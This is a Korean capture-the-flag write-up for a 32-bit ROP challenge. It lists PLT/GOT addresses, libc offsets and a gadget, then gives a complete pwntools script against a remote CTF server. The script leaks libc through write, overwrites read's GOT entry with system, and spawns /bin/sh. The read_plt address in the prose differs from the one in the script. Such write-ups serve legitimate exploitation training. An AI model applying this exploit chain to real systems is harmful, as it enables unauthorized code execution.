Lucvs 2020. 8. 28. 18:06

 

아주 typical한 ROP 형식의 문제이다. ROP는 RTL Chaining + GOT Overwrite + Gadget 을 알고 있다면 각 함수들의 주소값들과 gadget의 주소를 조합하여 작품을 완성하는 퍼즐과도 같다. 퍼즐의 조각들을 하나하나씩 모아보자.

 

read_plt = 0x08048300

read_got = 0x0804a00c

 

write_plt = 0x08048340

write_got = 0x0804a018

 

bss → 0x0804a024

 

read_offset = 0xd4350

 

system_offset = 0x3a940

 

pop pop pop ret Gadget → 0x08048509

 

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3021)

#PUZZLE PIECES
read_plt = 0x08048310
read_got = 0x0804a00c
write_plt = 0x08048340
write_got = 0x0804a018
pppr = 0x08048509
bss = 0x0804a024
sys_offset = 0x3a940
read_offset = 0xd4350

#MOVE RET
payload = "\x90"*140

#Leak read_got
#read 함수의 실제 주소를 leak 함으로써 libc base를 구한다.
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#/bin/sh -> bss
#표준입력으로 bss 영역에 문자열을 입력받는다.
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

#GOT Overwrite
#표준입력으로 read_got 주소를 system 함수의 주소로 overwrite 한다.
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

#Call system
#read_plt를 호출하지만 이는 read_got를 call한다.
#또한 read_got는 system으로 덮여있으니 결국 system 함수 실행
payload += p32(read_plt)
payload += "AAAA"
payload += p32(bss)

#exploit
r.send(payload) #payload를 먼저 한번 쏴주고,

read = u32(r.recv(4)) #처음 write 함수로 출력한 실제 read 함수의 주소를 불러오고 read에 저장
r.send("/bin/sh\x00") #bss 영역에 /bin/sh 삽입

base = read - read_offset #libc base 값 계산
system = base + sys_offset #system 의 주소값 계산

r.send(p32(system)) #read_got 값에 system 함수의 주소 overwrite
r.interactive()